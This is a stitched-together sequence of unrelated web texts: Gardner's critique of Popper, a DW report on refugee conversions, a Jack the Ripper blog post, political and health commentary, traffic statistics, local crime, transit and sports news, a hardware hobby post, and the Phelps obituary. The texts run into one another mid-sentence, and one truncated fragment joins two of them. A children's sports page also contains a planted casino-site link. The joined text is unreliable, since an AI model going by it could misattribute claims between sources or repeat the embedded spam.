Sir Karl Popper (1902-1994)
Astronomers are now finding compelling evidence that smaller and smaller planets orbit distant suns. Surely this is inductive evidence that there may be Earth-sized planets out there. Why bother to say, as each new and smaller planet is discovered, that it tends to falsify the conjecture that there are no small planets beyond our solar system? Why scratch your left ear with your right hand? Astronomers are looking for small planets. They are not trying to refute a theory any more than physicists are trying to refute the conjecture that there is no Higgs field. Scientists seldom attempt to falsify. They are inductivists who seek positive conformations.
At the moment the widest of all speculations in physics is superstring theory. It conjectures that all basic particles are different vibrations of extremely tiny loops of great tensile strength. No superstring has yet been observed, but the theory has great explanatory power. Gravity, for example, is implied as the simplest vibration of a superstring. Like prediction, explanation is an important aspect of induction. Relativity, for instance, not only made rafts of successful predictions but explained data previously unexplained. The same is true of quantum mechanics. In both fields researchers used classical induction procedures. Few physicists say they are looking for ways to falsify superstring theory. They are instead looking for confirmations. Ernest Nagel, Columbia University's famous philosopher of science, in his Teleology Revisited and Other Essays in the Philosophy and History of Science (1979), summed it up this way: "[Popper's] conception of the role of falsification... is an oversimplification that is close to being a caricature of scientific procedures."
For Popper, what his chief rival Rudolf Carnap called a "degree of confirmation"a logical relation between a conjecture and all relevant evidenceis a useless concept. Instead, as I said earlier, the more tests for falsification a theory passes, the more it gains in "corroboration." It's as if someone claimed that deduction doesn't exist, but of course statements can logically imply other statements. Let's invent a new term for deduction, such as "justified inference." It's not so much that Popper disagreed with Carnap and other inductivists as that he restated their views in a bizarre and cumbersome terminology.
To Popper's credit he was, like Russell, and almost all philosophers, scientists, and ordinary people, a thoroughgoing realist in the sense that he believed the universe, with all its intricate and beautiful mathematical structures, was "out there," independent of our feeble minds, In no way can the laws of science be likened to traffic regulations or fashions in dress that very with time and place. Popper would have been appalled as Russell by the crazy views of today's social constructivists and postmodernists, most of them French or American professors of literature who know almost nothing about science.
Scholars unacquainted with the history of philosophy often credit popper for being the first to point out that science, unlike math and logic, is never absolutely certain. It is always corrigible, subject to perpetual modification. This notion of what the American philosopher Charles Peirce called the "fallibilism" of science goes back to ancient Greek skeptics, and is taken for granted by almost all later thinkers.
In Quantum Theory and the Schism in Physics (1982) Popper defends at length his "propensity theory" of probability. A perfect die, when tossed, has the propensity to show each face with equal probability. Basic particles, when measured, have a propensity to acquire, with specific probabilities, such properties as position, momentum, spin and so on. Here again Popper is introducing a new term which says nothing different from what can be better said in conventional terminology.
In my opinion Popper's most impressive work, certainly his best known, was his two-volume The Open Society and Its Enemies (1945). Its central theme, that open democratic societies are far superior to closed totalitarian regimes, especially Marxist ones, was hardly new, but Popper defends it with powerful arguments and awesome erudition. In later books he attacks what he calls "historicism," the belief that there are laws of historical change that enable one to predict humanity's future. The future is unpredictable, Popper argued, because we have free wills. Like William James, Popper was an indeterminist who saw history as a series of unforeseeable events. In later years he liked to distinguish between what he called three "worlds"the external physical universe, the inner world of the mind, and the world of culture. Like Carnap and other members of the Vienna Circle, he had no use for God or an afterlife.
Karl Raimund Popper was born in Vienna in 1902 where he was also educated. His parents were Jewish, his father a wealthy attorney, his mother a pianist. For twenty years he was a professor of logic and scientific method at the London School of Economics. In 1965 he was knighted by the Crown.
I am convinced that Popper, a man of enormous egotism, was motivated by an intense jealousy of Carnap. It seems that every time Carnap expressed an opinion, Popper felt compelled to come forth with an opposing view, although it usually turned out to be the same as Carnap's but in different language. Carnap once said that the distance between him and Popper was not symmetrical. From Carnap to Popper it was small, but the other way around it appeared huge. Popper actually believed that the movement known as logical positivism, of which Carnap was leader, had expired because he, Popper, had single-handedly killed it!
I have not read Popper's first and only biography, Karl Popper: The Formative Years (1902-1945), by Malachi Haim Hacohen (2000). Judging by the reviews it is an admirable work. David Papineau, a British philosopher, reviewed it for The New York Times Book Review (November 12, 2000). Here are his harsh words about Popper's character and work:
By Hacohen's own account, Popper was a monster, a moral prig. He continually accused others of plagiarism, but rarely acknowledged his own intellectual debts. He expected others to make every sacrifice for him, but did little in return. In Hacohen's words, "He remained to the end a spoiled child who threw temper tantrums when he did not get his way." Hacohen is ready to excuse all this as the prerogative of genius. Those who think Popper a relatively minor figure are likely to take a different view. When Popper wrote "Logik der Forschung," he was barely thirty. Despite its flawed center, it was full of good ideas, from perhaps the most brilliant of the bright young philosophers associated with the Vienna Circle. But where the others continued to learn, develop and in time exert a lasting influence on the philosophical tradition, Popper knew better. He refused to revise his falsificationism, and so condemned himself to a lifetime in the service of a bad idea.
Popper's great and tireless efforts to expunge the word induction from scientific and philosophical discourse has utterly failed. Except for a small but noisy group of British Popperians, induction is just too firmly embedded in the way philosophers of science and even ordinary people talk and think.
Confirming instances underlie our beliefs that the Sun will rise tomorrow, that dropped objects will fall, that water will freeze and boil, and a million other events. It is hard to think of another philosophical battle so decisively lost.
Readers interested in exploring Popper's eccentric views will find, in addition to his books and papers, most helpful the two-volume Philosophy of Karl Popper (1970), in the Library of Living Philosophers, edited by Paul Arthur Schilpp. The book contains essays by others, along with Popper's replies and an autobiography. For vigorous criticism of Popper, see David Stove's Popper and After: Four Modern Irrationalists (the other three are Imre Lakatos, Thomas Kuhn, and Paul Feyerabend), and Stove's chapter on Popper in his posthumous Against the Idols of the Age (1999) edited by Roger Kimball. See Also Carnap's reply to Popper in The Philosophy of Rudolf Carnap (1963), another volume in The Library of Living Philosophers. Of many books by Popperians, one of the best is Critical Rationalism (1994), a skillful defense of Popper by his top acolyte.
( Martin Gardner, "A Skeptical Look at Karl Popper," Skeptical Inquirer, 25(4):13-14, 72. )"The confessions of faith I get to hear are affecting me because they are delivered with such euphoria," says Irmgard Conin. She is a pastoral assistant as well as the head of "Fides," a Cologne-based Catholic information center for people with religious interests. This year, she will accompany five refugees on their road to baptism. Yaqob is one of them. "He is very passionate about this, and he's an asset to the congregation," she says.
A new language - a new religion
Yaqob comes from Afghanistan. Now living in Cologne, he finally wants to receive his baptism. The reasons given by people who adopt a new religion were manifold, Conin explains: "Some want to leave behind the Islam practiced in their country of origin. They say that Christianity is the true religion of love." Others seek identification with Germany: living here, they want to be Christians, she adds.
When Muslim refugees ask for a baptism in Germany, they often raise suspicion: Are they merely hoping to improve their chances for political asylum by converting to Christianity? This discussion was rekindled recently when one Afghan man got baptized while serving time in prison, thereby preventing his deportation which had already been arranged. Subsequently, he killed a small boy in a refugee shelter in the Bavarian town of Arnschwang on Pentecost weekend - an awkward incident for both politicians and clergy.
Systematic deportation of criminal offenders
For some time, politicians of all denominations have been calling for systematic deportation of asylum seekers who have committed criminal offenses. The Arnschwang perpetrator, for example, was to be returned to Afghanistan; however, the Munich administrative court responsible for the case put the deportation on hold. The court argued that by converting from Islam to Christianity the man was facing torture or even the death penalty in his native country.
In this Berlin church, 18 former Muslims were baptized
Political pressure is rising. It is believed that churches scrutinize the seriousness of their baptizands' motives only superficially. Bavaria's interior minister, Joachim Herrmann, said he expected from both churches and courts "that they look very closely into whether someone really converts to Christianity." Ulf Küch, the deputy chairman of the Federation of German Detectives (BDK), generally takes a dim view of baptisms of Muslim refugees. He believes their conversions are "ruses which put them in a position to remain in Germany. If the perpetrator's deportation failed because he changed religious faiths, you just have to add two and two together."
Was the murderer really an avowed Christian? Was the Afghan man's sincerity surveyed in a satisfying way? Or did he, by changing religious faiths, try to fraudulently obtain a residence permit? In a statement to DW, the Munich administrative court said the decision, in this case, was not an easy one to make, "because a person's religious identity, being an intrinsic fact, can be determined only on the basis of the asylum seeker's assertions." For example, a detailed personal interrogation of the asylum seeker or of congregation members could help prove whether a conversion to Christianity was based on a serious and firm religious belief or whether it was just done due to tactical reasons, with improving chances of receiving asylum in mind.
Is religious faith verifiable?
The Federal Office of Migration and Refugees (BAMF), which is responsible for deportations, does not cast doubt on a change of religious convictions ascertained by baptism certificate per se, it stated in response to a DW inquiry: "Applicants must plausibly prove that they will practice the new religion when they return to their home country and that is why they will be persecuted in a manner that is covered by asylum laws." BAMF added: "It is generally taken for granted that diligent baptism support on the part of Christian congregations has been provided."
Grounds for asylum or question of faith?
It is necessary to have a months-long process of preparation and review prior to a person's baptism and initiation into the Church, stated the Catholic German Bishops' Conference. This applies to all baptism candidates, regardless of their origin or cultural background. The long, painstaking road of baptism support makes sure that there is a certain deterrent against abuse, says Klaus Hagedorn, refugee relief coordinator in the archdiocese of Cologne. He recounts that he, now and again, receives phone calls from refugee aid workers who seek to halt an imminent deportation by baptism. "We respond by not baptizing," he emphasizes.
Watch video 02:45 Share No future for Afghan deportees Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/2e4ut No future for Afghan deportees
The Catholic German Bishops' Conference, as well as the Council of the Protestant Church in Germany (EKD), do not see a nexus between refugee influx and an increased number of baptisms - which didn't exist anyway. Thomas Zimmermann, a Cologne-based Protestant provost, confirms that, across affiliated congregations, less than 10 adults had undergone baptism during the last year.
Fear of persecution
In her baptism prep talks, Irmgard Conin does mention the issue of asylum. For a conversion would also mean persecution in the country of origin. "In 99 percent of all cases, there was a real interest in acquiring a liberating religious faith - even at the risk of a breakup with the family," she says. "This year, two men have in fact backed out because they were to be deported. Their fear of imminent reprisals in their home country was overwhelming."Anyone Who Says Copyright Cannot Be Used For |
per really Jill the Ripper?
There are more than 100 theories on Jack the Ripper’s identity. Now, an author named John Morris has added his own theory to the mix. In his book, Jack the Ripper: Hand of a Woman, Morris argues that Jack the Ripper was a woman named Lizzie Williams. She was the wife of royal physician (and suspect) John Williams.
As for evidence, it seems three of the victims had their wombs removed so Morris believes Lizzie Williams was motivated to kill because she couldn’t have children. Also, none of the women were sexually assaulted. In addition, pieces of an unidentified woman’s clothing were found near some of the victims. Finally, one of the victims, a woman named Mary Kelly, may have been having an affair with Lizzie’s husband.
Guerrilla Explorer’s Analysis
It should be noted that many writers claim Sir Arthur Conan Doyle of Sherlock Holmes fame believed Jack the Ripper was actually Jill the Ripper. As far as I can tell, the earliest reference for this claim comes from Tom Cullen’s 1965 book, When London Walked in Terror. However, Cullen’s source was not Sir Arthur himself, but rather his son Adrian Conan Doyle. And as for Sir Arthur’s support of the Jill the Ripper theory, well, I’ll let you read his son’s words for yourself…
“More than thirty years having passed, it is difficult to recall his views in detail on the Ripper case. However, I do remember that he considered it likely that the man had a rough knowledge of surgery and probably clothed himself as a woman to avoid undue attention by the police and to approach his victims without arousing suspicion on their part.” ~ Adrian Conan Doyle
So, the idea that Sir Arthur believed in Jill the Ripper appears to be just an urban legend. Truth be told, I think the evidence for a Jill the Ripper is exceedingly weak. And Morris’s research doesn’t change my opinion. At the end of the day, I continue to think there’s one reason no one ever found Jack the Ripper…he didn’t actually exist.GLAAD Urges N.Y. Gov. to Help Trans New Yorkers Get Needed Health Care
GLAAD and the Sylvia Rivera Law Project are urging people to call for the repeal of New York State Medicaid’s new regulation excluding transgender New Yorkers from its program.
Many health insurance policies and programs specifically exclude trans and gender-nonconforming people from accessing the health care they need, including New York State Medicaid.
That’s why GLAAD and the Sylvia Rivera Law Project are urging people to call upon New York governor Andrew Cuomo and New York State health commissioner Nirav Shah to overturn New York State Medicaid’s regulation that excludes trans people from receiving care just because of who they are.
“Transgender healthcare isn’t special healthcare. It's regular healthcare that non-trans people receive every day when they need it,” GLAAD states on its website. Transgender health treatments are safe, effective and medically necessary for many transgender people. Unfortunately, healthcare is often denied to trans people due to misinformation and bias. By repealing the exclusionary regulation, Gov. Cuomo and Health Commissioner Shah can ensure that transgender people receiving Medicaid have the same access to essential care as anyone else.”
To help further education and call for the repeal of New York State Medicaid’s trans-excluding regulation, GLAAD and the Sylvia Rivera Law Project have produced an informative new video that outlines the health care needs and of transgender and gender-nonconforming people and the unnecessary obstacles they face in accessing basic care.By all appearances, the Republican health care crusade has already run its course, but tomorrow morning, four GOP senators will make one last-ditch effort to get it back on track.
Sens. Lindsey Graham (R-S.C.), Bill Cassidy (R-La.), Dean Heller (R-Nev.), and Ron Johnson (R-Wis.) will formally unveil the only remaining Republican plan to overhaul the nation’s health care system. For reasons that aren’t altogether clear, they’ll be joined by former Sen. Rick Santorum, who lost his re-election bid in a landslide over a decade ago.
NBC News obtained an advanced draft of the proposal, which has been percolating for a couple of months.
The 23-page summary draft and an explanation of funding, which Graham’s office confirmed is authentic, attempts to achieve parity in federal funding between states that expanded Medicaid and those that did not by 2026. That division was one that helped to kill the Senate’s efforts because senators from expansion states tended to oppose the legislation in its previous versions due to the roll-back of the Medicaid expansion. The bill also provides federal money to states to implement their own health care plan as opposed to one system for all 50 states that exists under Obamacare.
We’ve discussed many of the profound flaws in this plan before, and we can go into more detail once the legislation is available for scrutiny. For now, however, let’s consider whether the Graham-Cassidy plan has a credible chance at success.
After its unveiling tomorrow, the bill will have to receive a score from the Congressional Budget Office, receive committee scrutiny, pass the committee, be subjected to Byrd Rule scrutiny, receive a floor debate, face a series of votes on amendments, and pass the Senate with 50 votes. At that point, the House would have to pass the same bill as-is, or make changes that the Senate would again approve with 50 votes.
In order for the plan to become law, all of this has to happen by Sept. 30 at midnight. In other words, proponents of Graham-Cassidy will have 17 days to get all of this done.
This isn’t to say it’s impossible, but even the most ambitious Republicans should concede this is a steep cliff to climb.
As the process moves forward, there are a few key angles to keep in mind.
First, in theory, this bill will be considered under “regular order,” which means the legislation will have to go through committee, which will take quite a bit of time. If GOP leaders decide to short-circuit the process and bring the bill directly to the floor, senators like John McCain should balk, but whether they’d follow through on their stated principles is unclear.
Second, the relevant committee is the Health, Education, Labor, and Pensions Committee (also known as HELP), which has 23 members – 12 Republicans and 11 Democrats. Among the GOP senators on the panel are Maine’s Susan Collins, Alaska’s Lisa Murkowski, and Kentucky’s Rand Paul. If even one of them opposes the plan in committee, it will fail.
Third, Rand Paul is already expressing opposition to Graham-Cassidy, largely because it keeps so many of the taxes that are already part of the Affordable Care Act. In fact, the Kentucky Republican told reporters yesterday that this plan would “probably” be worse than doing nothing. Of course, Rand Paul made similar noises the last time his party took up health care, but in the end, he voted with his party. What he’ll do this time is unclear.
Fourth, keep an eye on how the conservative movement responds to the developments. If some of the major players – Americans for Prosperity, Heritage Action, Club for Growth – shrug their shoulders and focus on tax reform, GOP leaders will be more likely to let Graham-Cassidy wither on the vine. If, however, they demand the party take the plan seriously, the added pressure may help keep it alive.
Despite all of the reasons for skepticism, I’d warn health care advocates against complacency. Congressional Republicans can move pretty quickly when they have a goal in mind, and it’s not exactly a secret that regressive health care policymaking remains a top GOP priority.
Grassroots activism helped kill the far-right health care crusade once. It may be necessary to do so again.
Postscript: I wonder what would’ve happened if Graham, Cassidy, Heller, and their allies had spent Congress’ summer break cultivating intra-party support for this plan, and had a bill ready to drop the day lawmakers returned to work. I guess we’ll never know.Image copyright Thinkstock
Four of the UK's worst traffic bottlenecks occur on the Edinburgh bypass, according to new research.
The city also ranks second in a list of Britain's most congested cities, while Glasgow is third.
Only London ranked worse than Scotland's largest cities in the survey of the UK's roads by Inrix Roadway Analytics.
It found that the jams could cost drivers in Scotland £5.1bn in wasted time over the next decade.
The firm studied traffic hotspots in 21 UK cities in September 2016.
It assessed the impact of the congestion by looking at the average duration of traffic jams, their average length and the number of times they occurred.
The UK's worst traffic bottlenecks Rank UK City Worst traffic hotspot Av. duration (mins) Av. length (miles) Number of jams 1 London M25 N between J15 (M4) and J16 (M40) 20 5.88 690 2 London M25 N between J16 (M40) and J17 (Rickmansworth) 30 4.83 456 3 London M25 S between J21 (M1) and J21A (A405) 273 13.78 13 4 Edinburgh A720 W (Edinburgh bypass) at Dreghorn Barracks 86 5.4 101 5 Edinburgh A720 E (Edinburgh bypass) between A702 and A701 80 2.23 216 6 Glasgow A8 E at junction with M8 96 4.95 76 7 London A406 E (North Circular) at Powys Lane (B106) 197 1.62 92 8 London A406 W (North Circular) at Station Road (A109) 84 2.59 129 9 Edinburgh A720 W (Edinburgh bypass) between A702 and A701 76 4.77 76 10 Edinburgh A720 W (Edinburgh bypass) at Dreghorn junction 51 4.54 114
The research found that the impact of Edinburgh's 455 traffic hotspots was second only to London and was likely to cost drivers £2.8bn by 2025.
Glasgow was ranked fourth in the same list - worse than Birmingham, Manchester and Bristol. Its 357 hotspots could cost £2.3bn over the next 10 years, Inrix said.
Researchers calculated the time wasted by drivers in traffic jams across the UK could cost £61.8bn by 2025 if congestion levels are not reduced.
And in their survey of 123 cities across Europe, London was found to have more traffic "pinch points" than any other city.
It also ranked worst in an assessment of the impact of its traffic jams. Rome was second and Paris was third.
Inrix chief economist Graham Cookson said: "Only by identifying traffic hotspots and analysing their root causes can we effectively combat congestion."Our core belief is that every child, regardless of age, race or physical and mental capacity, should have the right to participate in athletic activities, improve their physical fitness, engage with other children, experience the joy of team play, develop physically, mentally, socially and emotionally, but most of all have fun in a safe, child-friendly environment.
Sports and other athletic activities are essential to a child’s health, well-being and physical, mental, and social development. From an early age children develop hand /eye coordination, balance and motor skills through play. Sports are helpful in fostering confidence, self-esteem and a strong sense of self-worth. Being active is also essential for emotional well-being. Today, more than ever, children need to be physically active to help prevent many of the age-related diseases that are common later in life. Being physically active is also beneficial for preventing and treating depression, childhood obesity, and as a great reliever of stress.
Our Mission
Our mission is to provide every child the opportunity to learn, participate and compete in the sport of their choice. We want to encourage children to be physically active and to participate in team sports and activities that can provide them with the opportunity to develop new friendships, build good social skills and learn to play as part of a team.
Our aim is to provide a safe, supportive and caring environment for children to receive coaching in the sport or athletic activity of their choice, with a strong focus on encouraging children to play to the best of their ability. We want the children we coach to strive to be the best they can be on the field, because we believe that the same ideals carry over to off the field. Research indicates a strong correlation between behaviors inside and outside the classroom, with those children who are actively interested and involved in team sports developing good social skills, and tending to do better academically.
Why sports are valuable for our children to play
We encourage parents to become as involved in their children’s sporting endeavors as they want to be, as we believe positive parental participation, guidance and support is essential to a child’s well-being and happiness. Research has proven that children who receive positive support and encouragement from their parents do better at sports. While coaching and instruction will be provided by the coaches and their assistants, we encourage parents to learn about the sport their child has chosen to play as we believe having at least a basic understanding of the game helps parents to be encouraging and supportive.
Children will be trained, coached and instructed by experienced coaches and their assistants in the basics as well as more advanced aspects of their chosen sport. As we believe that sports play an integral role in the overall well-being of children we also teach fair play, consideration of others, equality, acceptance of others, etiquette, how to challenge themselves to try harder, and how to contribute to the overall success of the team.
Tips, Camps and Programs
We have a wide range of resources available for children of all ages and their parents to draw on. Sport coaching is available for beginners through to more advanced, with clubs and camps available throughout the state. No matter what level of ability a child has in his or her chosen sport there is a program geared towards providing that child with the coaching and instruction they need to learn and improve their skills. Here is the moment to thank our friends from www.topratedonlinecasinos.org who helped us a lot and made a donation to our initiative.
For parents of children wanting to become involved in a sport or athletic activity but struggling to decide which sport is right sport for their child, we can provide you with information and resources to help your child discover what type of sport is likely to be of most interest and to provide the most enjoyment. Children often develop an interest in sport from an early age but it is not always the case. While the vast majority of children enjoy being active and having fun playing with other children it is not true of all children. We can provide assistance and resources to help parents encourage their children to become more physically active and to participate in team sports so that their children can develop better social skills as well as improve their level of physical fitness.The family of a 2-year-old that was shot last night has set up a memorial fund to help the family. To donate just go into any 1st Source Bank.
The South Bend community is in shock after a 2-year-old boy was shot and killed while playing outside.
Police say the call came in just after 6 p.m. in the 1000 block of Campeau Street.
Family members have identified the victim as John Swoveland Jr. Police say he was playing with his older sister in the front yard of their aunt's home when the shots rang out.
"Gang bangers want to shoot at each other? OK. That's still not right," said Lt. Dave Wells, assistant commander of Metro Homicide. "But, when you have a little 2-year-old kid on a sunny day playing outside in front of his house and he can't even play out there without fear of a drive-by shooter killing him? It's ridiculous."
Police interviewed witnesses and collected evidence Wednesday night, trying to determine what happened.
Police now say the shooting is connected to another shooting a little over one block east, near the intersection of Campeau and Arthur. Police responded to the shooting near Campeau and Arthur Streets and discovered that no one had been injured. Metro Homicide said Thursday an argument may have occurred between two rival groups which escalated into shots fired.
Metro Homicide believes one group ran from the other group westbound. Investigators say they believe, from evidence, that once the group fled, then shots were still fired, and a stray bullet hit 2-year-old Swoveland Jr.
“A stray bullet struck and killed two year old John Swoveland, Jr.” read a press release from the St. Joseph County Prosecutor. “An argument may have occurred between two rival groups near the intersection of Arthur and Campeau Streets which escalated into shots fired. It’s believed that one group ran from the other group in a westerly direction from the gun fight and was fired upon. Based on evidence gathered, investigators believe the group that fired shots may have continued to fire as the other group fled the scene.”
The conclusion was based on ballistics evidence gathered from both scenes and from extensive interviews with witnesses.
At this point, police have made no arrests and have no suspects in custody.
Donnie Price lives next door to the home where the shooting took place. Price says his daughter was playing outside with John Swoveland, Jr. and Swoveland’s seven yr. old sister when the shooting took place.
“My daughter is saying that the car, she was the one who identified the car, it came from that way straight down when it got to this area, the guy had shot in the car out the window,” said Price.
Price used his cell phone to capture video of paramedics arriving on the scene. “Then when the mom comes out of the house she was in a stance and stuff, there was like a little blood around the edge of the Pamper so when she pulled the shirt up she seen the gunshot wound.”
An autopsy completed this afternoon found that the boy died of a gunshot wound to the chest.
“Every life is important, every life we hold dear, it’s particularly, particularly disconcerting that someone so young, so vulnerable, so innocent was taken from our community,” said Deputy Mayor Mark Neal, (D) South Bend.
Metro Homicide has no suspects in custody.
"It's kind of hard to say, but I think that what happened to the baby needs to happen to [the suspects]," said Travis Debaillie, the baby's uncle. " I mean, it's bad. It's a baby. It shouldn't have happened this way."
Anyone with information is asked to call Metro Homicide or CrimeStoppers.Due to a track fault on the North South Line (NSL), southbound commuters were advised to add 20 minutes of train travel time from Yishun to Toa Payoh, SMRT tweeted early on Wednesday (25 October). It added that the delay is not linked to the new signalling project.
[NSL]: Due to a track fault, pls add 20mins train travel time from #Yishun to #ToaPayoh SouthBound. (Not linked to new signalling project). — SMRT Corporation (@SMRT_Singapore) October 24, 2017
SMRT later added that trains to the city would be travelling slower between Ang Mo Kio and Bishan stations as well. It said free bus and bridging services are available.
In an update on its Facebook page at 8:22am, SMRT said NSL trains heading towards the city were travelling at a reduced speed for “safety reasons”. It wrote, “North-South Line trains towards the city have been travelling at a reduced speed from Ang Mo Kio to Bishan for safety reasons since start of service this morning.
“The speed restriction has been imposed over a 150-metre stretch of track between Ang Mo Kio and Bishan stations, in the direction of the city. Our engineers are monitoring the situation closely.”
The rail operator advised commuters to travel via Jurong East instead and take the East West Line (EWL) to the city.
At 10:13am, SMRT tweeted to say that train services had resumed. Train services were slowed for about five hours in total.
[NSL] CLEARED: Train services from #Yishun to #ToaPayoh have resumed. Free bus and bridging bus services have ended. — SMRT Corporation (@SMRT_Singapore) October 25, 2017
On Tuesday, a train delay on the EWL during rush hour left commuters stuck on platforms as trains stood still at some stations for up to 25 minutes.
Note: This story was updated at 10:30am to indicate that train services have resumedColin O'HaraIt was a worst-case scenario start for the Rowdies on Saturday night, June 10. An otherwise boisterous evening was dulled by a clear lack of communication between goalkeeper Matt Pickens and defender Neil Collins, which led to an early goal for Rochester in the fourth minute, but the Rowdies fought back, earning a 1-1 draw.
“We started quite well,” midfielder and goal-scorer Joe Cole said. “Their goal came from nothing. Just a bit of a mix-up.”
Cole was part of the resilient effort that evened the teams on goal. The Rowdies have made a name for themselves this year with their resiliency, having secured at least a draw after conceding the first goal in four out of the last five league matches.
“That happens, but then the guys responded,” Coach Stuart Campbell said. “In the first half, I thought we were excellent and when we play as well as that, we have to go on and win the game. We have to put the game to bed.”
It was Cole who gave the crowd of 6,000-plus fans something to cheer about. He was at the right end of a brilliant cross from Marcel Schafer and got just enough of his foot on it to direct it pass the goalkeeper.
“Our goal came from a good passing move and Marcel put in a great ball,” Cole said.
Colin O'HaraCole nearly doubled his tally in the second half but his shot agonizingly brushed by the goalpost, just wide of the target. The lone goal stood, and a second goal remained an object of longing, resulting in a draw.
This is the second time the Rowdies have faced Rochester, losing the first meeting, and drawing in the second, but Tampa Bay couldn’t break down the defensive-minded opponent.
“We didn’t take our chances right at the end,” Cole said. “We’ve got to work on that. It’s not something new we’re facing. We need to be better at breaking teams down.”
The crowd rallied hard behind the boys on the field, but were supporting more than just the team Saturday night.
The Rowdies were also celebrating Pride Night, and honoring the victims of last year's Pulse Night Club shooting. The night began with a solemn moment of silence as well as a stunning rendition of the "Star Spangled Banner" performed by Una Voce: The Gay Men’s Chorus of Tampa Bay.
Fans will have to say farewell for to the Rowdies for a few weeks. They will be on the road for the next three matches, returning in triumph on July 6 when they will face FC Cincinnati. The match will be broadcast on ESPNU.
“It’s going to be a good spell for us,” Campbell said. “It’s going to test us, but we’re ready and if we perform how we did tonight, the we will definitely pick up a few points on the road.”Since Vine shut down recently, I downloaded all my videos and was inspired to write a post-mortem of sorts of my Slider Controllers here since I've got a fair few making-of videos. This is a motorized force-feedback controller that I made early 2014. Let's dive into the details below!
A quick note on Patreon posts & videos: Their editor is really spartan and doesn't allow embedding any form of video besides old gifs. I've added the vine videos as plain links in here. I recommend the Chrome Browser plugin Imagus for automatically expanding video when you mouse-hover over the links!
First Steps: Normal Faders
Originally, I wanted to make a mobile phone game involving sliders that players move around (which I'm still going to finish some day!). But I quickly became obsessed by testing it with real sliders, such as the ones you can find in DJ mixing desks. A quick shopping-spree later, and I had my first sliders:
I made a few of these, experimenting with different lengths and making wooden and later acrylic enclosures for them:
Global Game Jam 2014
At the Global Game Jam 2014, we made Inslide World, a game using these controllers, which involved an endless platformer set on a weird inside out world. You can see the different lengths of sliders I used in there, too:
Inslide World Video
Some more playtesting with my family:
Test with different Minigames (Video)
The game was neat and all, but soon I discovered a different type of slider that would push the envelope:
Motorized Sliders: Force Feedback!
Soon after I started playing with normal sliders (or linear potentiometers, as they're properly called), I noticed there's some special motorized versions. And of course I had to get those. Lots of them!
Here are they in action after I hooked them up to an Arduino and a computer:
Slider-to-Slider Movement (Video)
Motorized Slider in a Box (Video)
And here some more where I use the motors as force-feedback for a Unity game:
Force-Feedback Rumble (Video)
Mouse-to-Slider via Unity (Video)
Fast Movement Test (Video)
Final Touches
To round things off, I added lights and touch sensitivity to the sliders (which works with the touch sensitive pins of the Teensy 3.2 and metallized knobs on the sliders):
Slider Touch and Lighting Test (Video)
Another Lighting Test (Video)
This was pretty much the final controller, and I showed it of with a flappy-birds style game (except the players control the pipes and the bird jumps automatically) at Train Jam, GDC and other conventions:
Video from GDC (a bit loud!)
The game was on show at the Berlin Science Center for a year, afterwards, too. I've also collaborated with a few indie friends on custom slider controllers for their games:
Alan Hazelden's BRICK[bricksmash]SMASH (Video)
(and here's a link to Alan's Patreon!)
Sujan McGlynn's Game Prototype (Video)
I hope you liked this post! There'll be many more in the future, please consider supporting my hardware games - or if you do already: awesome!
- Robin- Advertisement -
Can anyone remember life before Ask Your Doctor ads on TV?
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All you knew about prescription drugs were creepy ads in a JAMA at the doctor's office with a lot of fine print. Even if you knew the name of a drug, you'd never ask your doctor for it because that would be self-diagnosing and cheeky for a patient.
Flash forward to the late 1990s when direct-to-consumer (DTC) drug advertising, drug Web sites and online drug sales came on board, and self-diagnosing and demanding pills has become medicine-as-usual for many doctors and patients.
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(Image by Martha Rosenberg) Details DMCA
The DTC/Web perfect storm didn't just sell drugs like Claritin, Prozac and the Purple Pill, it sold the diseases to go with them like seasonal allergies, GERD and depression. It sold risk of diseases like heart events for which you'd take a statin like Lipitor, osteoporosis for which you'd take a bone drug like Boniva and asthma attacks for which you'd use a second asthma drug like Advair. Of course, by the very definition of prevention, you didn't know if the drugs were working but you weren't paying out of pocket anyway so what the hay"
Thanks to DTC advertising, people started taking seizure drugs like Topamax and Lyrica for everyday pain or headaches and antipsychotics -- hello? -- for everyday blues or mood problems. They started taking monoclonal antibodies made from genetically engineered hamster cells like Humira that invite cancer, superinfections and TB when they didn't have to. And FDA mandated risk disclosures -- brain bleeds, sudden death, difficulty breathing, stomach bleeding, liver failure, kidney failure, muscle breakdown, fainting, hallucinations -- perversely sold the drugs more either because ad frequency itself sells or because people like the identity in having a disease, like chemically experimenting on themselves or like taking a dare.
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Soon anxiety graduated to depression which graduated to bipolar disorder. Children got schizophrenia and depression like adults and adults got ADHD like kids. And it didn't stop there. If the depression you or your kid had didn't go away -- maybe because it wasn't depression in the first place but a thing called "life" -- you needed to add a drug like Abilify or Seroquel on to the original drug(s) because your depression was "treatment resistant."
Next Page 1 | 2 | 3This article is from the archive of our partner.
Days after we learned that Fred Phelps Sr., the founder of the infamous Westboro Baptist Church, was on his death bed, one of his sons has confirmed that the anti-gay pastor died late on Wednesday night. Timothy Phelps gave the news to WBIW on Thursday morning. Later, Phelps's daughter Margie Phelps also confirmed that her father had died, as did Phelps daughter and Westboro Baptist Church spokesperson Shirley Phelps-Roper. Phelps was 84 years old.
The church didn't immediately do much to publicly mark the passing of their founder, who also happens to be father and grandfather to many of its members. And that actually makes sense: according to Phelps's estranged son Nate, the WBC patriarch was excommunicated from his own church last year. (Update: later on Thursday, the church issued a long statement mostly condemning the media coverage of Phelps's illness that begins "Fred W. Phelps, Sr. Has Gone The Way of All Flesh.")
Around the time that Timothy Phelps announced his father's death — several hours after he died in hospice — the Westboro Baptist Church was still trolling Lorde on Twitter:
We'll take kisses @Lordemusic AS LONG AS they're caramel & they haven't been tampered with! @WBCJon is OK w/ almonds. pic.twitter.com/veMYUmWtMg — Westboro Baptist (@WBCSays) March 20, 2014
The church Phelps founded is mainly a family affair, although that family has been split in recent years by defections among their ranks. Recently, for instance, granddaughters Megan and Grace Phelps-Roper left the fold and were excommunicated by their family. What remains of Phelps's family practice is best known these days for their high-profile protests of funerals.
This article is from the archive of our partner The Wire.This May 31, 2017, photo shows part of the Pittsburgh skyline with the David L. Lawrence Convention Center. President Donald Trump framed his decision to leave the Paris climate accord during a news conference on Thursday, June 1 as "a reassertion of America's sovereignty," he said, "I was elected to represent the citizens of Pittsburgh, not Paris." (Darrell Sapp/Pittsburgh Post-Gazette via AP)
WASHINGTON (AP) — The Latest on Donald Trump and climate change (all times EDT):
10:40 p.m.
Fiji’s prime minister, who will chair an annual climate summit in Germany in November, says he’s deeply disappointed by President Donald Trump’s decision to pull out of the Paris climate accord.
